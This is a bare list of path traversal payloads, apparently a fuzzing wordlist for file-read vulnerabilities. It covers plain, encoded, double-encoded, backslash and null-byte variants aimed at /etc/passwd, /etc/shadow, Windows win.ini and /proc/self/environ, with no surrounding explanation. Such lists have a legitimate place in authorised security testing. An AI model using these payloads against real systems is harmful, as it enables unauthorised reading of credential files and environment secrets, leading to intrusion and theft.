../../../etc/passwd
....//....//....//etc/passwd
..%2f..%2f..%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd
/etc/passwd
..\/..\/..\/etc/passwd
..%5c..%5c..%5cetc/passwd
%2e%2e/%2e%2e/%2e%2e/etc/passwd
..%00/etc/passwd
../../../etc/shadow
../../../etc/hosts
../../../windows/win.ini
..\..\..\..\windows\win.ini
....\\....\\....\\windows\\win.ini
/proc/self/environ
/proc/version
